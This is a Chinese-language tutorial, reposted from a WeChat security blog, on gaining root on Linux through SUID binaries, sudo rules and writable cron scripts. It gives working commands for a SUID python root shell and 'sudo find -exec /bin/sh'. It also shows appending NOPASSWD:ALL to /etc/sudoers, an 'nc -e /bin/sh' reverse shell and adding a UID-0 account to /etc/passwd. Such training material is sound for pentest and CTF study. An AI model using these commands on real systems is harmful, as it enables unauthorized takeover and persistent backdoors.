一旦您获得了 Linux 系统的访问权限,下一个逻辑步骤就是执行 权限升级。也就是说,从具有有限权限的用户帐户变为具有完全权限的超级用户帐户。
有很多选项可以帮助您实现这一目标,从简单且易于执行的技术到更高级且执行起来不那么简单的棘手技术。我们将在本文中探讨您可以使用的三个最简单的选项。
这里列出的技术是容易实现的目标,您可以先检查一下。只有在所有这些选项都失败后,您才能尝试更高级的技术。
根据目标主机的安全配置,其中一些技术可能不起作用。但有时,管理员的一个错误就足以让您获得 root 权限。
SUID 二进制
SUID 是 某些可执行文件可能具有的特殊权限。当文件设置了 SUID 位时,用户可以使用与其所有者相同的权限来执行该文件。
SUID 二进制文件由文件权限第四位上的“s”字符标识。如下所示,“ passwd ”文件是一个 SUID 二进制文件。
您可以看到我们如何通过尝试通过 root 或具有更高权限的用户拥有的 SUID 二进制文件生成 shell 来利用此漏洞。
利用 SUID 二进制文件
易受攻击的 SUID 二进制文件的一个示例是“ python ”命令。如果您发现与此命令关联的二进制文件上设置了 SUID 位,则可以通过运行以下命令轻松执行权限升级:
$ ./python -c 'import os;os.system("/bin/sh -p")'
当然,您应该首先将当前目录更改为 python 二进制文件所在的位置。
如果成功,您将获得提升权限的 shell。您可以通过执行“ whoami” 命令来验证这一点。
这里提供的python命令 仅作为示例,以帮助您更好地掌握该技术。因此,您不应期望它在目标主机上配置为 SUID 二进制文件,因此上述命令可能不起作用。
但是,您可以做并且应该首先做的是搜索系统上的所有 SUID 二进制文件。为此,您可以运行以下 find命令:
find / -type f -perm -u=s 2>/dev/null
一旦您获得了所有 SUID 二进制文件的列表,您就可以访问 GTFOBins 来检查那些容易受到权限提升影响的文件。该网站还将为您提供针对每个易受攻击的 SUID 二进制文件运行的确切命令。
GTFOBins 是一个非常好的 Linux 权限提升资源。您可能应该将其保存在书签中,因为将来每当您尝试在 Linux 系统上进行权限升级时,您肯定会需要它。
SUDO命令
要以 root 身份运行命令,通常会在实际命令之前先键入“ sudo ”。
但是,并非每个用户都有权运行 SUDO。用户对此命令的具体权限存储在 /etc/sudoers中。此文件列出了用户可以使用 SUDO 运行的命令。它还指定他们是否需要密码才能执行此操作。
利用 SUDO
您可以使用以下命令检查当前用户的权限:
$ sudo -l
user ALL=(ALL) NOPASSWD:ALL
如果此命令的输出类似于上面的内容,那么您非常幸运,因为该行授予您使用 SUDO 运行任何命令的权限,而无需提供密码。
但老实说,这在现实世界中太容易发生了,除了一些易于初学者的 CTF。
另一方面,您可能更经常发现如下内容:
(root) NOPASSWD: /usr/bin/find
在这种情况下,您只能使用 find 命令运行 SUDO,并且仍然不需要密码。
您可能认为 find 对您的特权寻求过程没有多大帮助。好吧,……在这种情况下,你就错了。其实, find 就够了。
如果我们引用 GTFOBins,我们可以获得完整的命令,以便使用 find生成 shell :
sudo find . -exec /bin/sh ; -quit
我在这里提供 find 作为示例。这对于许多其他命令也有效。您可以检查 GTFOBins 以了解哪些容易受到此技术的攻击,以及如何使用每个 GTFOBins 来获取 root shell。
计划任务
Cron 是一个在大多数 Linux 系统上运行的作业调度程序,类似于 Windows 中的任务调度程序。它允许用户安排某些程序和脚本定期运行,而无需手动执行它们。
Cron 在自动化任务(例如运行恶意软件扫描、检查更新或创建定期备份)方面非常有用。
然而,从攻击者的角度来看,如果配置不当,Cron 可能成为权限升级的潜在载体。让我们看看如何做到这一点。可以使用某些名为“crontabs”的文件来自定义 Cron。这些文件告诉 Cron 要执行哪些作业以及何时执行。每个作业都在一行中定义,第一组列指定应运行的时间,最后一列指定要执行的命令或程序的路径。
位于 /etc/crontab 的一个特殊的 Crontab 用于调度系统范围的作业。该文件中安排的所有作业均由具有 root 权限的 Cron 执行。
利用 Cron 作业
如果我们使用 cat 查看 /etc/crontab 的内容,并且发现当前用户可写的脚本,那么我们可以修改它以执行各种操作来升级我们的权限。
例如,假设您有一个 crontab 文件,其中包含以下行:
*/5 * * * * root /writable/script.sh
根据这一行,script.sh 每 5 分钟运行一次。您在此文件中添加的任何命令都将以 root 身份执行。我们可以通过多种方式继续:
您可以在 sudoers 文件中添加一行,授予当前用户无需密码即可运行 SUDO 的权限。
echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
或者,您可以通过连接回攻击计算机上的侦听器来生成反向 shell。
nc -e /bin/sh
您甚至可以通过提供 UID 值 0(UID 是第三个字段,与 root 关联)来在 /etc/passwd 中添加新的 root 用户。
echo "newRoot::0:0:newRoot:/home/newRoot:/bin/sh" >> /etc/passwd
结论
Linux 提权并不是一件容易的事。应用这些技术并不总是像这里介绍的那么简单。有时,它们都不起作用。但这是一件好事,因为这将促使你探索新技术,而这些新技术将在其他人无用时被证明是有用的。
原文始发于微信公众号(Ots安全):Linux 提权:获取 Root Shell 的三种简单方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论